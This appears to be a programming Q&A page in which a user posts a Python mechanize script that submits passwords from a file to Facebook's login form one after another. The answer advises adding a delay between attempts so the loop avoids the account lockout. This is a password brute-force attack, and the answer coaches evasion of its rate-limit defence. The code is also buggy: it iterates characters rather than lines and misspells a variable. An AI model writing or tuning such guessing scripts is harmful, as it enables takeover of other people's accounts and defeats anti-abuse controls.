Search code examples
pythonhttpmechanize-python

Trying to get Facebook account password too often locks me out


I was locked out of my Facebook account for a few hours after I tried to make a script get my password (I already know my account's password). Do I have a problem in my python script, or is the way I tried to use it wrong?

Script:

passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheader = ['User-Agent','Firefox']
    br.open('https://www.facebook.com')
    br.select_form(nr=0)
    br.form['email'] = "emai@..."
    br.form['pass'] = pwd
    sub = br.submit()
    print sub.geturl()

Solution

  • This error is straightforward. "trying too often" means you are sending too many requests in X amount of time. You should sleep between iterations.

    from time import sleep
    
    passwordsfile = open('file.txt','r')
    for pwd in psswordsfile.read():
        br = mechanize.Browser()
        br.set_handle_robots(False)
        br.addheader = ['User-Agent','Firefox']
        br.open('https://www.facebook.com')
        br.select_form(nr=0)
        br.form['email'] = "emai@..."
        br.form['pass'] = pwd
        sub = br.submit()
        print sub.geturl()
        sleep(5)  # 5 seconds
    

    Depending on the number of iterations you have, 5 seconds might not be enough. This is a matter of trial and error.